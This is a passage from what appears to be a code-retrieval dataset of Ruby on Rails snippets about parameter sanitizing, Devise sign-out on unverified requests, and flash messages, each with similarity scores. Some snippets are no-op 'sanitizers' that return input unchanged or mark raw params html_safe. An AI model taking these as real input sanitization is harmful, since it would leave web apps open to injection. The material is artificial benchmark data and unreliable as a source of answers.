"def sanitize_parameters(param)\n return param.map { |p| String(p) } if param.is_a?(Array)\n return param.map { |k, v| [String(k), String(v)] }.to_h if param.is_a?(Hash)\n return String(param)\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitize_params\n params.require(:sanitize).permit(:match, :result, :description, :status)\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def prepare_filters\n params = instance_values.symbolize_keys\n filters = clean_params(params)\n validate_filters(filters)\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def user_strong_params\n html_safe(params[:user]).strip\n end",
"def sanitize_parameters(parameters)\n flow_name = parameters[:flow_name].to_sym\n msisdn = parameters[:msisdn].to_i.to_s\n session_id = parameters[:session_id].to_s[0..20]\n input = parameters[:input].to_s[0..160]\n\n #remove default proc so that the hash can be serialized using Marshal\n params = parameters[:params].tap do |p|\n p.default = nil\n end\n\n {\n flow_name: flow_name,\n params: params,\n msisdn: msisdn,\n session_id: session_id,\n input: input\n }\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = validate_parameters\n return r unless r.success?\n\n success\n end",
"def sanitize_fields_hash\n @sanitize_fields_hash ||= extract_configuration(:sanitize_fields, configuration, [])\n end",
"def sanitize_attributes\n # Summary, content are sanitized with an HTML sanitizer, we want imgs etc to be present.\n # Other attributes are sanitized by stripping tags, they should be plain text.\n self.content = Sanitizer.sanitize_html self.content\n self.summary = Sanitizer.sanitize_html self.summary\n\n self.title = Sanitizer.sanitize_plaintext self.title\n self.author = Sanitizer.sanitize_plaintext self.author\n self.guid = Sanitizer.sanitize_plaintext self.guid\n self.url = Sanitizer.sanitize_plaintext self.url\n end",
"def sanitize(attributes, authorizer)\n return attributes\n #sanitized_attributes = attributes.reject { |key, value| authorizer.deny?(key) }\n #debug_protected_attribute_removal(attributes, sanitized_attributes)\n #sanitized_attributes\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def parse_filter_params(permitted:)\n # Symbolize the keys so the values can be used with keyword arguments in the filter scopes.\n filter_params = params[:filter].try(:permit, permitted).try(:to_h)\n end",
"def update_sanitized_params\n devise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:name, :email, :approved , :password, :password_confirmation,:approved, :role_ids => [], affiliate_person_attributes: [:name], :performer_attributes => [ :first_name, :avatar, :photo_id, :profile_thumb, :profile_gif, :photo_id, :location_id, :avatar, :id, :white_label_id, :twitter_sign_in, :video_upload_twitter, :order_placed_twitter] )}\n devise_parameter_sanitizer.for(:account_update) {|u| u.permit(:name, :email, :password, :password_confirmation,:approved, :sign_in_twitter, :video_upload_twitter, :order_placed_twitter, :performer => [], :role_ids => [], :performer_attributes => [ :first_name, :avatar, :photo_id, :profile_thumb, :profile_gif, :photo_id, :location_id, :avatar, :id, :white_label_id])}\n end",
"def sanitize_data(value)\n HtmlSanitizer.sanitize(value)\n end",
"def filter_params(params)\n AsanaExceptionNotifier::UnsafeFilter.new(params, @options.fetch(:unsafe_options, [])).arguments\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def sanitize_params(form_params)\n super.tap do |params|\n params['title'] = Array.wrap(params['title']) if params.key?('title')\n params['description'] = Array.wrap(params['description']) if params.key?('description')\n end\n end",
"def product_params_sanitizer(hash)\n\t hash[:typ_subcategory_id] = hash.delete :typ_subcategory\n\t hash[:typ_subcategory_id] = hash[:typ_subcategory_id][:id]\n\t hash[:typ_category_id] = hash.delete :typ_category\n\t hash[:typ_category_id] = hash[:typ_category_id][:id]\n\t return hash\n \tend",
"def filtered_parameters; end",
"def sanitize(object) #:nodoc:\n quote_value(object)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def sanitizer(name, &block)\n raise TypeError, \"Block required\" unless block_given?\n sanitizers << define_method(\"sanitize_#{name}\", &block)\n end",
"def sanitize_user\r\n self.first_name = Sanitize.clean(self.first_name).gsub('&','&').gsub('>', '>') unless self.first_name.blank?\r\n end",
"def sanitize_inputs\n attributes.each do |attr_name, attr_value|\n next unless attr_value.is_a? String\n self[attr_name] = strip_markup attr_value\n end\n end",
"def configure_devise_permitted_parameters\n # We can't easily override here the internal Devise::RegistrionController used by the\n # Engine, because the engine is not namespaced.\n # So we have to resort to some tinkering right here:\n# DEBUG\n# logger.debug( \"\\r\\n\\r\\n!! =====[ #{self.class.name}: configure_devise_permitted_parameters ]====\" )\n# logger.debug( \"- resource...: \" << resource.inspect )\n# logger.debug( \"- PARAMS.....: \" << params.inspect )\n# logger.debug( \"- CTRL.......: \" << params[:controller] )\n# logger.debug( \"- ACTION.....: \" << params[:action] )\n\n # User new/create: do not allow any parameter if recaptcha fails:\n if (params[:controller].to_s == 'devise/registrations') &&\n ( (params[:action].to_s == 'new') || (params[:action].to_s == 'create') )\n# logger.debug( \"In devise/registrations...\" )\n\n if (params[:action].to_s == 'new') || (params[:action].to_s == 'create' && verify_recaptcha)\n devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n user_params.permit(\n :email, :password, :password_confirmation,\n :name, :first_name, :last_name, :description, :year_of_birth\n )\n end\n flash[:error] = nil\n else\n flash[:error] = I18n.t('search_view.captcha_fail')\n end\n end\n\n # User edit/update:\n devise_parameter_sanitizer.permit(:account_update) do |user_params|\n user_params.permit(\n :email, :password, :password_confirmation,\n :name, :first_name, :last_name, :description, :year_of_birth\n )\n end\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def before_validation\n\t\tself.class.columns.each do |c|\n\t\t\tif self[c.name] and [:string, :text].include?(c.class)\n\t\t\t\tself[c.name] = RailsSanitize.full_sanitizer.sanitize(self[c.name]) \n\t\t\tend\n\t\tend\t\t\n\tend",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def sanitize_data(data)\n data\n end",
"def sanitize\n self.summary = sanitize_string(summary)\n self.description = sanitize_string(description)\n self.post_install_message = sanitize_string(post_install_message)\n self.authors = authors.collect {|a| sanitize_string(a) }\n end",
"def link_sanitizer; end",
"def link_sanitizer; end",
"def link_sanitizer; end",
"def sanitize_params\n # @where[/\\w*=\\'(.*)\\'/].gsub(/\\'/, \"''\")\n # @where.sub!(/\\w*=\\'(.*)\\'/, { |s| puts s })\n end",
"def sanitize(args = '')\n args\n end",
"def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << :username\n end",
"def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:email, :password) }\n end",
"def model_attributes(params)\n clean_params = super #hydra-editor/app/forms/hydra_editor/form.rb:54\n # model expects these as multi-value; cast them back\n clean_params[:rights] = Array(params[:rights]) if params[:rights]\n clean_params[:title] = Array(params[:title]) if params[:title]\n if params[:description]\n clean_params[:description] = Array(params[:description])\n clean_params[:description].map! do |description|\n ::DescriptionSanitizer.new.sanitize(description)\n end\n end\n # Model expects provenance as single-value.\n if params[:provenance]\n clean_params[:provenance] = ::DescriptionSanitizer.\n new.sanitize(params[:provenance])\n end\n\n # Oops; we're blanking out these values when changing permissions and probably versions, too\n # -- they don't have these fields in the form at all so they don't get repopulated.\n clean_params = encode_physical_container(params, clean_params)\n clean_params = encode_external_id(params, clean_params)\n\n clean_params.keys.each do |key|\n # strip ALL the things!\n if clean_params[key].is_a?(Array)\n clean_params[key].map!(&:strip)\n elsif clean_params[key].is_a?(String)\n clean_params[key] = clean_params[key].strip\n end\n end\n\n clean_params\n end",
"def prepare_params_for_validation\n self.username = username.downcase.strip unless username.blank?\n self.name = name.strip unless name.blank?\n self.email = email.downcase.strip unless email.blank?\n self.password = password.strip unless password.blank?\n end",
"def sanitize\n scrub_payload_emails\n scrub_actor_attributes\n end",
"def sanitize_search_params source_params\n\n my_params = source_params.reject { |k,v| v.nil? }\n\n my_params.except(:action, :controller, :id, :commit, :utf8)\n end",
"def student_params(*args) #is the helper method \n\n\t\tparams.require(:student).permit(*args)\n\t\t#uses .require and .permit methods as stronger params to prevent hacks through inspect element right click edit html \n\t\t#require restricts, permit allows, and *args is for the custom arguments\n\tend",
"def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in)# << :attribute\n end",
"def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in) do |user_params|\n user_params.permit(:username)\n end\n end",
"def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in).push(:username, :login, :domain)\n end",
"def update_sanitized_params\n devise_parameter_sanitizer.permit(:account_update) do |user_params|\n user_params.permit(:name, :last_name, :login, :about, :adress, :email, :country,:avatar,:terms_of_service, :birth_date,:current_password, :password, :password_confirmation, :zip_code, :city, :phone)\n end\n\n devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n user_params.permit(:name, :last_name, :login, :about, :email, :country,:avatar,:terms_of_service, :birth_date,:current_password, :password, :password_confirmation, :zip_code, :city, :phone)\n end\n\n devise_parameter_sanitizer.permit(:sign_in) do |user_params|\n user_params.permit(:name, :last_name, :login, :about, :email, :country,:avatar,:terms_of_service, :birth_date,:current_password, :password, :password_confirmation, :zip_code, :city, :phone)\n end\n \n end",
"def sanitizer\n @sanitizer ||= Gollum::Sanitization.new(Gollum::Markup.to_xml_opts)\n end",
"def sanitize_attributes!\n remove_invalid_subjects!\n remove_invalid_audiences!\n remove_invalid_levels!\n set_prices!\n nil\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def sanitize!\n return self if @sanitized\n replace(HTMLEntities.new.encode(self))\n @sanitized = true\n return self\n end",
"def sanitize(*fields, &block)\n @sanitizers ||= {}\n fields.each do |field|\n field_sanitizers = @sanitizers[field.to_sym] ||= []\n field_sanitizers << block\n end\n end"
] | [
"0.7436621",
"0.7436621",
"0.71319586",
"0.710156",
"0.6922984",
"0.6808984",
"0.6807405",
"0.6703177",
"0.65891755",
"0.6564144",
"0.65568626",
"0.65568626",
"0.65568626",
"0.65496415",
"0.6483804",
"0.6459595",
"0.64229757",
"0.63791466",
"0.63179356",
"0.63119763",
"0.6288358",
"0.628255",
"0.61999315",
"0.6167762",
"0.61467916",
"0.61291647",
"0.6109723",
"0.60811657",
"0.60787606",
"0.6016873",
"0.59989727",
"0.5966881",
"0.59421384",
"0.5921149",
"0.58959526",
"0.588764",
"0.5885422",
"0.5885422",
"0.5883318",
"0.5882776",
"0.5882776",
"0.5881229",
"0.5874407",
"0.5874407",
"0.5874407",
"0.5873097",
"0.582996",
"0.5821186",
"0.58204997",
"0.5818345",
"0.58126974",
"0.58090955",
"0.5802461",
"0.57860434",
"0.57762086",
"0.5775508",
"0.5759343",
"0.5755803",
"0.57524157",
"0.57403105",
"0.5725504",
"0.5721944",
"0.5710658",
"0.57050204",
"0.56990796",
"0.5694671",
"0.5694671",
"0.5694671",
"0.5673515",
"0.5671972",
"0.56708455",
"0.56678534",
"0.5666534",
"0.56620455",
"0.56620455",
"0.56525826",
"0.56426555",
"0.56295544",
"0.5628018",
"0.56242365",
"0.56242365",
"0.56242365",
"0.5612979",
"0.56122565",
"0.5609803",
"0.5598301",
"0.5593626",
"0.5586262",
"0.5580805",
"0.55694455",
"0.5568259",
"0.55682087",
"0.55662256",
"0.55538005",
"0.5546472",
"0.5543944",
"0.5542911",
"0.5542491",
"0.5542489",
"0.554246"
] | 0.8135269 | 0 |
Overwrite Rails' handle unverified request to sign out all scopes, clear run strategies and remove cached variables. source://devise//lib/devise/controllers/helpers.rb254 | def handle_unverified_request; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def handle_unverified_request\n employee_sign_out\n company_sign_out\n super\n end",
"def handle_unverified_request\n \tsign_out\n \tsuper\n end",
"def handle_unverified_request\n \tsign_out\n \tsuper\n end",
"def handle_unverified_request\n \tsign_out\n \tsuper\n end",
"def handle_unverified_request\n \tsign_out\n \tsuper\n end",
"def handle_unverified_request\n \tsign_out\n \tsuper\n end",
"def handle_unverified_request\n \tsign_out\n \tsuper\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n sign_out\n super\n end",
"def handle_unverified_request\n\t\tsign_out\n\t\tsuper\n\tend",
"def handle_unverified_request\n\t\tsign_out\n\t\tsuper\n\tend",
"def handle_unverified_request\n\t\tsign_out\n\t\tsuper\n\tend",
"def handle_unverified_request\n sign_out\n end",
"def handle_unverified_request\n sign_out\n end",
"def handle_unverified_request\n\tsign_out\n\tsuper\nend",
"def handle_unverified_request\n# sign_out\n super\n end",
"def handle_unverified_request\n\t\t\tsign_out\n\t\t\tsuper\n\t\tend",
"def handle_unverified_request\n super\n sign_out\n end",
"def handle_unverified_request\n super\n sign_out_user\n end",
"def handle_unverified_request\n sign_out_user\n super\n end",
"def handle_unverified_request\n sign_out\n super\n #When you invoke super with no arguments Ruby sends a message to the parent of the current object, asking it to invoke a method of the same name as the method invoking super. It automatically forwards the arguments that were passed to the method from which it's called.\n end",
"def handle_inverified_request\n \tsignout\n \tsuper\n end",
"def handle_unverified_request\n sorcery_config.before_unverified_request.each do |callback|\n send(callback)\n end\n @current_user = nil\n super # call the default behaviour which resets the session\n end",
"def sign_out_all_scopes(lock = T.unsafe(nil)); end",
"def sign_out(resource_or_scope); end",
"def sign_out(resource_or_scope); end",
"def verify_signed_out_user; end",
"def verify_signed_out_user; end",
"def verify_signed_out_user; end",
"def destroy\n __log_activity(\"LOGOUT #{current_user}\")\n __debug_route\n __debug_request\n user = current_user&.account&.dup\n opt = BS_AUTH ? { no_revoke: true?(params[:no_revoke]) } : {}\n delete_auth_data(**opt)\n super\n api_clear(user: user)\n set_flash_notice(user: user, clear: true)\n rescue => error\n auth_failure_redirect(message: error)\n end",
"def handle_unverified_request\n logout()\n flash_message(:alert, \"An unverified request was received! For security reasons you have been signed out. ApplicationController#handle_unverified_request\")\n super\n end",
"def sign_out\n cookies.permanent[:auth_token] = nil\n session[:scope_id] = session[:scope_type] = session[:redirect] = nil\n end",
"def verify_signed_out_user\n end",
"def handle_unverified_request\n reset_session\nend",
"def verify_signed_out_user\n end",
"def verify_signed_out_user\n end",
"def sign_out_and_redirect(resource_or_scope); end",
"def handle_unverified_request\n super\n cookies.delete(:autologin)\n end",
"def sign_out\n request.session.delete(:authorized)\n end",
"def call(ctx, **)\n warden = ctx[:warden]\n\n if @except.empty?\n warden.logout\n else\n (Devise.mappings.keys - @except).each do |scope|\n warden.logout(scope) if warden.authenticated?(scope: scope)\n end\n end\n\n Macros::Auth::ExpireSessionData.new.call(ctx)\n warden.clear_strategies_cache!\n warden.lock!\n end",
"def unauthenticated(scope = T.unsafe(nil)); end",
"def handle_unverified_request\n if Rails.env.production?\n reset_session\n else\n raise ActionController::InvalidAuthenticityToken\n end\n end",
"def sign_out(resource_or_scope = T.unsafe(nil)); end",
"def authenticate_request\n @current_user = nil\n end",
"def sign_out\n @request.env[:clearance].sign_out\n end",
"def handle_unverified_request\n super # call the default behaviour which resets the session\n cookies.delete(:remember_token)\n redirect_to :login\n end",
"def unauthenticated\n end",
"def reset_provider_session!\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n return unless @provider_session\n @provider_session.token = nil\n @provider_session.code = nil\n @provider_session.data = nil\n @provider_session = nil\n end",
"def sign_out\n capture_sessions.delete(app.name)\n end",
"def sign_out\n reset_session\n end",
"def logout_internal\n self.current_user.forget_me if logged_in?\n reset_session\n cookies.delete :auth_token\n end",
"def hubssolib_log_out\n # Causes the \"hubssolib_current_[foo]=\" methods to run, which\n # deal with everything else.\n self.hubssolib_current_user = nil\n self.hubssolib_current_session = nil\n end",
"def sign_out\n @current_user = nil\n end",
"def sign_out\n # Make a delete request\n page.driver.delete destroy_educator_session_path\n\n # Follow https, make same delete request.\n page.driver.delete page.driver.response.location\n\n # Follow redirection back to root.\n page.visit page.driver.response.location\nend",
"def log_out\n \tcurrent_user && forget(current_user)\n current_provider && forget(current_provider)\n \tsession.delete(:user_id)\n session.delete(:provider_id)\n \t@current_user = nil\n @current_provider = nil\n end",
"def sign_out\n logout\n end",
"def handle_unverified_request\n reset_session\n render :nothing => true, :status => 401\n end",
"def clear_grants_hack()\n self.grants.clear\n end",
"def github_unauthenticated(scope=nil, options={}, &routes_block)\n github_constraint(scope, options, routes_block) do |warden, scope|\n not warden.authenticated?(scope: scope)\n end\n end",
"def signout\n self.oaw_signout\n redirect_to root_url\n end",
"def use_null_session\n ActionController::RequestForgeryProtection::ProtectionMethods::NullSession.new(self)\n .handle_unverified_request\n end",
"def sign_out\n @username = nil\n @current_user = nil\n\n @modhash = nil\n @cookie = nil\n end",
"def force_logout\n sign_out(resource) if user_signed_in?\n end",
"def reset_authentication_statistics\n super\n end",
"def remove_all_authentication_profiles\n super\n end",
"def unauthorize!\n path = request.path\n flash.now[:alert] = I18n.t(\"aclize.unauthorized\", path: path)\n\n if @_aclize_callback.nil?\n prepend_view_path File.expand_path(\"../../app/views\", __FILE__)\n respond_to do |format|\n format.html { render 'aclize/403', disposition: \"inline\", status: 403, layout: false }\n end\n else\n self.instance_eval(&@_aclize_callback)\n end\n end",
"def sign_out(*args)\n warden.logout(*args)\n end",
"def sign_out\n\n # mark them as signed out.\n # (this is a helper method of devise, the rails ruby gem we're using for\n # authentication in the sample app.)\n # \n # \n #session_sign_out <---- NEED TO CHANGE TO CUSTOM USER SIGN OUT\n\n # send them back to the homepage.\n redirect_to root_path\n\n end",
"def deauthenticate\n self.clear_current_user\n redirect_to :root\n end",
"def destroy\n current_user.authentication_token = nil\n signed_out = (Devise.sign_out_all_scopes ? sign_out : sign_out(resource_name))\n render json: {status:0, data: nil}\n end",
"def logout_auth_all\r\n\t\tsign_out current_user if(user_signed_in?)\r\n\t\tredirect_to SERVICE_AUTH_URL_SIGN_OUT\r\n\tend",
"def log_out\n\t\tsuper\n\t\t@current_user = nil\n\tend",
"def httpdigest_logout\n session.delete(SESSION_NONCE)\n session.delete(SESSION_OPAQUE)\n end",
"def sign_out\n reset_session\n @current_user = nil\n end",
"def sign_out\n forget current_user\n session[:user_id] = nil\n end",
"def unprotect()\n res = super(context,self)\n return res\n end",
"def clear_current_user; end"
] | [
"0.7779263",
"0.7516193",
"0.7516193",
"0.7516193",
"0.7516193",
"0.7516193",
"0.7516193",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.7495953",
"0.74914765",
"0.7487492",
"0.74788064",
"0.74788064",
"0.74788064",
"0.7428111",
"0.7428111",
"0.7403766",
"0.73927164",
"0.7363412",
"0.73038524",
"0.7267737",
"0.7246743",
"0.72055125",
"0.71903265",
"0.69345385",
"0.6740599",
"0.6665659",
"0.6665659",
"0.6486008",
"0.6486008",
"0.6486008",
"0.64659095",
"0.6418252",
"0.6377578",
"0.63773185",
"0.6363439",
"0.6358142",
"0.6358142",
"0.6321227",
"0.62972844",
"0.6236657",
"0.62332314",
"0.6192458",
"0.61831266",
"0.6154046",
"0.61430895",
"0.6103063",
"0.61010647",
"0.60495734",
"0.6042474",
"0.59917176",
"0.5946428",
"0.59278333",
"0.59143794",
"0.5903838",
"0.58912057",
"0.5886505",
"0.5884928",
"0.5864063",
"0.58550626",
"0.5852073",
"0.58412296",
"0.5836437",
"0.5815911",
"0.580335",
"0.5800575",
"0.5798047",
"0.5790847",
"0.57814205",
"0.577136",
"0.57690936",
"0.5764971",
"0.57630914",
"0.5752645",
"0.57408804",
"0.5732705",
"0.57316875",
"0.5720277",
"0.5700344"
] | 0.0 | -1 |
Check if flash messages should be emitted. Default is to do it on navigational formats | def is_flashing_format?; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def flash_messages?; flash.any?; end",
"def is_flashing_format?\n false\n end",
"def flash_message?; flash.blank?; end",
"def is_flashing_format?\n request.respond_to?(:flash) && is_navigational_format?\n end",
"def set_flash\n flash[:messages]=@fired_events.find_all { |e| e.block_type.in? Message.descendant_types }.map do |e|\n {message:e.block.message_with_vars(@handler.options), message_type: e.block.message_type}\n end.compact\n if @fired_events.find { |e| e.block_type==\"TaskPassed\" }\n redirect_to play_game_url(game_id: @game.id)\n elsif @task.show_wrong_answer\n flash[:alert]=t(\"play.alert.no_events\")\n redirect_to play_show_url(game_id: @game.id, task_id: @task.id)\n else\n redirect_to play_show_url(game_id: @game.id, task_id: @task.id)\n end\n end",
"def set_flash_now?\n super || has_errors?\n end",
"def setup_flash\n [:warning, :error, :notice].each {|level| flash[level] ||= []}\n end",
"def flash_messages\n capture_haml do\n %w(notice alert).each do |msg|\n haml_tag :div, flash[msg.to_sym], :class => msg unless flash[msg.to_sym].blank?\n end\n end\n end",
"def check_flash\n @flash = session[:flash] if session[:flash]\n session[:flash] = nil\n end",
"def alerts\n #checking to see if params hash in flash msg has a value\n alert = (flash[:alert] || flash[:error] || flash[:notice])\n\n if alert\n alert_generator alert\n end\n end",
"def flash_ok_messages\n join_flash_messages :notice, :success, :info\n end",
"def flash_messages\n if params[:message]\n message params[:message]\n end\n\n flash_message_keys.each do |key|\n if params[key]\n message.send(key, params[key])\n end\n end\n\n render(:template => 'shared/flash_messages', :layout => false)\n end",
"def display_flash_message\n type = nil\n message = nil\n\n if flash[:error]\n type = 'error'\n message = flash[:error]\n elsif flash[:success]\n type = 'success'\n message = flash[:success]\n elsif flash[:info]\n type = 'info'\n message = flash[:info]\n end\n\n render 'partials/helpers/flash_message', message: message, type: type\n end",
"def show_flash\n [:notice, :error].collect do |status|\n %(<div id=\"#{status}\">#{flash[status]}</div>) unless flash[status].nil?\n end\n end",
"def flash_type\n [:error, :warning, :notice].each do |type|\n return type unless flash[type].blank?\n end\n end",
"def flash_should_persist?\n return false unless controller_name == 'bulk_uploads' && action_name == 'index'\n return false unless flash.present?\n\n begin\n flash.any? { |key, val| key == 'error' }\n rescue\n false\n end\n end",
"def flash_messages\n type_mappings = { :notice => \"info\", :alert => \"error\" }\n\n [:notice, :alert].inject(\"\") do |str, type|\n str << flash_message(type_mappings[type], flash[type]) if flash[type].present?\n str\n end.html_safe\n end",
"def test_flash_redirection\n tags = params[:tags].to_s.split(\",\")\n if tags.any?\n flash_notice(tags.pop.to_sym.t)\n redirect_to(\n controller: :observer,\n action: :test_flash_redirection,\n tags: tags.join(\",\")\n )\n else\n # (sleight of hand to prevent localization_file_text from complaining\n # about missing test_flash_redirection_title tag)\n @title = \"test_flash_redirection_title\".to_sym.t\n render(layout: \"application\", text: \"\")\n end\n end",
"def has_flash?\n not web_video.nil?\n end",
"def instant_flash\n render partial: 'shared/flash_messages'\n end",
"def render_flash\n flash[:error] ||= flash[:alert]\n flash[:info] ||= flash[:notice]\n if flash_message = flash[:error] || flash[:success] || flash[:info]\n flash_class = flash[:error] || flash[:alert] ? \"alert-error\" : (flash[:success] ? \"alert-success\" : \"alert-info\")\n flash_title = flash[:error] || flash[:alert] ? \"\" : (flash[:success] ? \"Hooray!\" : \"Note:\")\n content_tag(:div, :class=>\"alert #{flash_class}\") do\n content_tag(:a, \"x\", :class=>\"close\", \"data-dismiss\"=>\"alert\") +\n content_tag(:strong, flash_title) + \" \" +\n flash_message\n end\n end\n end",
"def keep_flash\n @keep_flash = true\n end",
"def show_flash_messages\n javascript = [:notice, :stay_notice, :warning, :error].map do |name|\n unless flash[name].blank?\n \"Message.add('#{name}', #{flash[name].to_json},\" + ((name == :stay_notice || name == :error) ? \"false\" : \"true\") + \");\"\n end\n end.join\n \n javascript << Message.unread(current_user).for(current_user).map do |message|\n message.read_by!(current_user)\n \n if message.user\n \"Message.add('error', #{h(message.body).to_json});\"\n else\n \"Message.add('warning', #{sth(message.body).to_json});\"\n end\n end.join if current_user\n \n javascript_tag(javascript) unless javascript.blank?\n end",
"def flash\n execute_only(:flash)\n end",
"def flash; end",
"def flash; end",
"def has_flash_tag?\n has_tag( 'div#flash', evaluate: false )\n end",
"def display_flashes(message = @@flash_options[:default_message])\n if flash[:notice]\n flash_to_display, level = flash[:notice], @@flash_options[:notice_class]\n elsif flash[:warning]\n flash_to_display, level = flash[:warning], @@flash_options[:warning_class]\n elsif flash[:errors] || flash[:alert]\n error_flash = flash[:errors] || flash[:alert]\n level = @@flash_options[:errors_class]\n\n if error_flash.instance_of? ActiveModel::Errors\n flash_to_display = message.dup\n flash_to_display << activerecord_error_list(error_flash)\n else\n flash_to_display = error_flash\n end\n else\n return\n end\n flash.discard(:notice); flash.discard(:warning); flash.discard(:errors)\n content_tag('div', flash_to_display.html_safe, :class => \"#{level}\")\n end",
"def empty?\n @flash.empty?\n end",
"def flash\n rails_flash\n end",
"def flash_messages\n messages = ''.html_safe\n [:error, :notice].each do |t|\n if flash[t]\n messages << content_tag(:div, flash[t].html_safe, :id => \"flash-#{t}\", :class => \"flash gray-box-bg\" )\n end\n end\n unless messages.blank?\n content_tag(:div, messages)\n end\n end",
"def flash\n raise NotImplementedError\n end",
"def flash_message\n [:error, :warning, :notice].each do |type|\n return flash[type] unless flash[type].blank?\n end\n # if we don't return something here, the above code will return \"error, warning, notice\"\n return ''\n end",
"def scaffold_flash\n {}\n end",
"def flash_messages(opts = {})\n flash.each do |msg_type, message|\n concat(\n content_tag :div, nil,\n class: \"alert #{bootstrap_class_for(msg_type)} fade in\",\n data: {message: message},\n style: 'display: none;'\n )\n end\n nil\n end",
"def flash_messages\n\t\t\tstr = \"\"\n\t\t\tflash.each do |type, msg|\n\t\t\t\ttype == :alert ? persist = true : persist = false\n\t\t\t\tstr += content_tag :div, msg, :class => ['flash-message', type], :data => { :persist => persist }\n\t\t\tend\n\t\t\tstr.html_safe\n\t\tend",
"def flash_messages\n @flash_messages ||= flash.to_hash.with_indifferent_access.except(*active_admin_application.flash_keys_to_except)\n end",
"def flash_messages\n %w(notice warning error).map do |msg|\n content_tag(:script,\n \t\t\"$.jGrowl(\\\"#{flash.delete(msg.to_sym)}\\\", { header: '#{t(msg, :default => msg).mb_chars.titleize}', sticky: true, theme: '#{msg}' });\".html_safe\n\t\t\t) unless flash[msg.to_sym].blank?\n end.join(\"\\n\").html_safe\n end",
"def flash_messages _opts = {}\n flash.each do |msg_type, message|\n next if 'unfurl' == msg_type # we don't show unfurl's in the flash notice UI.\n\n concat(\n content_tag(\n :div,\n message,\n class: \"alert #{bootstrap_class_for(msg_type)} alert-dismissible\",\n role: 'alert'\n ) do\n concat(\n content_tag(\n :button,\n class: 'close',\n data: { dismiss: 'alert' }\n ) do\n concat(\n content_tag(:span, '×'.html_safe, 'aria-hidden' => true)\n )\n concat content_tag(:span, 'Close', class: 'sr-only')\n end\n )\n concat message\n end\n )\n end\n\n nil\n end",
"def flash_message\n messages = \"\"\n [:notice, :info, :warning, :error].each {|type|\n if flash[type]\n messages += \"<p class=\\\"#{type}\\\">#{flash[type]}</p>\"\n end\n }\n\n messages\n end",
"def flash_in_response_headers\n if request.xhr?\n response.headers['X-Psap-Message-Type'] = 'error' unless flash['error'].blank?\n response.headers['X-Psap-Message-Type'] = 'success' unless flash['success'].blank?\n response.headers['X-Psap-Message'] = flash['error'] unless flash['error'].blank?\n response.headers['X-Psap-Message'] = flash['success'] unless flash['success'].blank?\n flash.clear unless @keep_flash\n end\n end",
